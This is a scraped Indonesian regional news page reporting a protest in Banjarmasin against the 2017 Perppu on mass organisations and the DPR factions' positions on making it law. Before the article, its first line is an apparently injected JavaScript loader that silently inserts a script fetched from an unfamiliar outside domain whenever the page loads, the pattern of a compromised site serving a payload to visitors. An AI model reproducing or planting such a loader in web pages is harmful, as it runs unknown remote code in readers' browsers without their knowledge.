(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Massa yang mengatasnamakan Forum Komunikasi Ulama dan Tokoh Banua Kalsel mendatangi gedung DPRD Kalsel, Senin (23/10). Kedatangan mereka bertujuan menyampaikan aspirasi penolakan atas Perppu No 2 Tahun 2017 tentang Ormas. Tapi sayang, tak ada satupun anggota dewan menemui karena sedang ada kegiatan peningkatan kapasitas Sumber Daya Manusia (SDM) di Jakarta.
Walhasil, demo tersebut hanya ditemui Staf Umum DPRD Kalsel Muhammad Zaini yang berjanji menyampaikan aspirasi mereka ke pimpinan dewan.
Pada pendapatnya, pendemo menganggap terbitnya Perppu Ormas dapat memberangus kebebasan berbendapat yang dijamin UU. Selain juga terdapat cacat prosedur dalam penerbitannya.
“Ormas Islam tidak pernah melanggar Pancasila, dan kami berjalan sebagaimana perintah Al-Quran” kata Wakil Ketua Forum Komunikasi Ulama dan Tokoh Banua Kalsel, DR Wahyudi Ibnu Yusuf dalam orasinya.
Sementara itu, di Jakarta, Komisi II DPR dan pemerintah yang diwakili Menteri Dalam Negeri, Menteri Hukum dan HAM, serta Menteri Komunikasi dan Informatika kembali membahas Perppu Ormas. Dalam rapat yang digelar pada Senin (23/10) tersebut, mayoritas fraksi di DPR menyepakati Perppu Ormas ini dibawa ke sidang paripurna DPR untuk disahkan menjadi Undang-Undang.
Sejumlah fraksi, seperti Partai Golkar, PKB, PDIP, PPP, Partai Nasdem, dan Partai Hanura menyepakati agar Perppu tersebut menjadi UU. Artinya, partai pendukung pemerintah di parlemen yang tidak sepakat dengan Perppu ini hanya PAN.
Namun demikian, beberapa fraksi yang setuju agar Perppu Ormas disahkan menjadi undang-undang masih memberikan catatan supaya setelah disahkan menjadi UU Ormas perlu ada revisi terbatas menyangkut beberapa hal.
Juru Bicara Fraksi PKB, Yaqut Cholil Qaumas menyatakan partainya menyetujui Perppu ini menjadi undang-undang, namun perlu revisi tentang pasal yang mengatur pembubaran ormas dan pasal yang mengatur penistaan agama.
“Pasal 59, ormas dilarang melakukan penyalahgunaan dan penistaan agama di Indonesia, bisa menjadi pasal karet karena tidak ada mekanisme yang jelas apakah melakukan penodaan agama atau tidak,†kata Yaqut. (robby/ant)
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.